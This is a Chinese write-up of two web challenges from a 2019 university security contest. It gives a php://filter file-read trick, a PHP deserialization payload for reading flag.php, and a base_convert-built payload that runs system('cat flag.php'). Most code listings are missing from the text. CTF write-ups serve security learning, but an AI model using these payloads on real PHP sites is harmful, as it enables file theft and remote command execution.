2019年大学生信息安全竞赛
总的来说 题目质量还是可以的
第一天
JustSoSo
一道php
的文件读取+反序列化利用
文件代码如下
index.php
<html> |
hint.php
|
简单分析下,页面打开后没有加任何参数会显示Missing parameter
和Missing parameters
,注释中提示index.php?file=xxx.php
,推测文件包含,尝试用伪协议读文件php://filter/read=convert.base64-encode/resource=index.php
就得到上面index.php
的代码,然后再php://filter/read=convert.base64-encode/resource=hint.php
获取hint.php
的代码,
都down
下后进行审计
index.php
<html> |
hint.php
|
确定获取flag的几个点
- 利用反序列化
- flag文件名为flag.php
- token_flag可碰撞
序列化构造脚本
|
拼接下Payload:///index.php?file=hint.php&payload=O:6:\"Handle\":2:{s:14:\"%00Handle%00handle\";O:4:\"Flag\":2:{s:4:\"file\";s:8:\"flag.php\";s:5:\"token\";s:32:\"8466a2b43729c29dcd7cc0fdfa1a9e7a\";}}
最后写个python
脚本即可
import requests |
吐槽下今年的docker
环境,时不时假死,撞了500多次撞出来flag了
第二天
计算器
依旧是个代码审计+构造
后端代码:
简单审计下
|
查了所有的函数,能把数字转为字符串的函数为dechex
和base_convert
,然后构造了一天的命令执行,最后差了一步,直接放payload:$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat%20flag.php